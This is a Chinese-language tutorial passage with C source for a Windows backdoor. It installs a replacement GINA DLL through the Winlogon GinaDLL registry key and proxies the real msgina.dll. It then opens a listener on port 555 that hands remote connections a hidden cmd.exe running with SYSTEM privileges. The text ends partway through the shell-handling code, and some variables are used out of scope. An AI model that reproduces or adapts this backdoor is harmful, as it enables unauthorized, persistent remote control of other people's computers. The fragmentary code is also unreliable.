首先要介绍Gina的在windows中的作用。NT,2K等都是多用户的系统，在进入用户shell前都有一个身份验证的过程。这个验证的过程就是由我们的Gina完成的。Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll你能在系统目录system32下找到。微软除了提供了默认的Gina还允许自定义开发Gina替换掉msgina.dll实现自己的一些认证方式。这就为我们的后门提供了条件，要替换掉系统默认加载msgina.dll很简单只要编辑注册表在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon项下面加入一个类型为REG_SZ名为GinaDLL的一个键值.数据填写我们替换的GinaDLL的名字就OK了。
例如：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"GinaDLL"="ginadll.dll"（ginadll.dll就我们自己的用来替换的Gina）
在我们自己的DLL中只要邦定一个SHELL，其他的直接调用msgina.dll就行了。说白了就安装一个中间层。使其达到一个后门的目的。Gina是加载到winlogin进程中的，winlogin是系统的用户交互登陆进程是SYSTEM权限的，因此我们的后门也有SYSTEM权限。这对于后门来说是再好不过了。
由于我们一共要替换15个Gina函数。全部写出来来量相当大。我们就选几个重要的出来做做示范。其他的也差不多就直接往下一层的msgina.dll调用就行了。详细的请参考完整源代码。
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);
后门要用到的全局变量
//管道
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;
//用来控制线程是否结束返回
BOOL bExit = FALSE;
//保存创建的CMD进程语柄
HANDLE hProcess = NULL;
//这个是Winlogon进程最先调用的函数，用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;
//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}
//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll,"WlxInitialize" );
if( !pWlxInitialize )
return FALSE;
//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;
//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,pWlxContext );
}
//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//后门的主线程开始。
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//调用下层的WlxLoggedOutSAS.
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}
//StartInit线程
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;
//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555); //端口号，可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
//绑定到555端口上
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
return 1;
//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
//在一个连接断开后又返回等待另外的连接
SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
if ( recvSock == INVALID_SOCKET ) {
Sleep(1000);
continue;
}
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建后门
HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待BackDoor线程结束。
WaitForSingleObject(hThread,INFINITE);
bExit = FALSE;
}
return 1;
}
//BackDoor线程
DWORD WINAPI BackDoor (LPVOID lp)
{
//可以自己在这里加上一些密码认证等功能
//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO StartInfor = {0};
PROCESS_INFORMATION ProInfor = {0};
//重定向子进程的标准输入输出，为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;
//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != '\\')
strcat(SysDir,"\\");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;
//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE hArray[2] = {0};
//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待2个线程
